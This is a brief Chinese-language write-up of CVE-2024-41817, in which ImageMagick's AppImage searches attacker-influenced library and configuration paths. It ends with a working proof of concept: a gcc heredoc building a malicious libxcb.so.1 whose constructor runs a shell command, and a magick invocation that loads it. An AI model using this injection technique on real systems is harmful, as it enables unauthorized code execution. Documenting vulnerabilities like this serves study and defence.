【ImageMagick】CVE-2024-41817 ImageMagick 环境变量提权

文章:

原因:在 ImageMagick 的 AppImage 的上下文中,变量 MAGICK_CONFIGURE_PATH 和 LD_LIBRARY_PATH 指定应用程序搜索配置文件和共享库的位置。如果攻击者可以操纵这些路径,他们可以颠覆执行流程并执行任意命令

  • AppImage 是一种 Linux 软件包格式,它使应用程序无需安装即可运行。它作为一个自包含的可执行文件运行,包含所有必要的依赖项,这简化了软件分发,但如果配置不当,也可能引入安全挑战
  • 在 Linux 中,共享库( .so 文件)使用环境变量如 LD_LIBRARY_PATH 动态加载。如果 LD_LIBRARY_PATH 设置为不受信任的目录,攻击者可以注入恶意共享库,系统可能会执行这些库而不是合法的库

1. 利用

1.编译一个恶意的So文件

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
__attribute__((constructor)) void init(){  
system("id");  
exit(0);  
}  
EOF

2.执行ImageMagick

magick hey.png /dev/null